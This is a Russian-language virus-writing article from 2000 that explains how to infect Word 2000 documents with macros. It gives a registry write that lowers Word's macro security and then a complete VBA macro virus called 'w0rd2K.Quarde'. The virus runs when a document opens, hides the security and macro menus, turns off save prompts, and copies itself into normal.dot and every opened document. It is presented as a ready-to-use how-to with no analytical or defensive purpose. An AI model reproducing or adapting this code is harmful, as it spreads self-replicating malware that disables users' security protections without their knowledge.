W0rd2K Infection - 13:07 - by Ultras
 
   В  этой  статье  я  расскажу чем отличается Word 97 от Word2000, опишу
работу  нового ворда и алгоритм его зараженния. В новой версий word почти
не притерпела никаких изменений...

   Итак  в  ворде2000  добивили  новую защиту, которую можно обоити внеся
поправки в реестр:

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

   Так  же в новом ворде недолжны совпадать имена макросов, тоесть нельзя
чтобы  в  зараженных  normal.dot  и  документе были макросы с одинаковыми
именами.  Например:  Document_Open...  В  вирусе  придется  менять  имена
макросов  например  если в normal.dot макрос Document_Open то в документе
можно поставить Document_Close, а для других макросов можно просто менять
имена добавляя цифру или букву.

Пример вируса:
~~~~~~~~~~~~~~

Sub Document_Open()
'заражаем при открытий
On Error Resume Next
'w0rd2K.Quarde
'метка вируса
If Application.Version = "9.0" Then
'если текущая версия w0rd 9.0 (2000) то
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
'проверяем отключили мы w0rd 2000 защиту
CommandBars("Macro").Controls("Security...").Enabled = False
'отключаем один пункт в меню ворд
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
'отключаем защиту если мы ее еще не отключили
Else
'если защита была отключина то
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1)
Options.SaveNormalPrompt = (1 - 1)
'удаляем и отключаем пункты ворда для нормальной работы вируса.
End If
TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'w0rd2K.Quarde" Then
' проверка на зараженность normal.dot
Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
NT.DeleteLines 1, NT.CountOfLines
NT.AddFromString TD
' если normal.dot не зараженн, hmmm надо инфицировать его
NT.ReplaceLine 1, "Sub Document_Close()"
' меняем название макроса чтобы они не повторялись в документах и normal.dot
End If
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'w0rd2K.Quarde" Then
' проверка на зараженность активного документа
Set VA = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
VA.DeleteLines 1, VA.CountOfLines
VA.AddFromString TD
' если активный документ не зараженн, hmmm надо инфицировать его
VA.ReplaceLine 1, "Sub Document_Open()"
' меняем название макроса чтобы они не повторялись в документах и normal.dot
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'сохраняем все дело
End If
End Sub

   Вот  и все.. Теперь вопросы по ворду почти все исчерпаны, я ответил на
все  вопросы  которые  мне  задовали  по  мылу.  Если  есть  еще  вопросы
присылайте... [email protected]

ULTRAS (c) 2000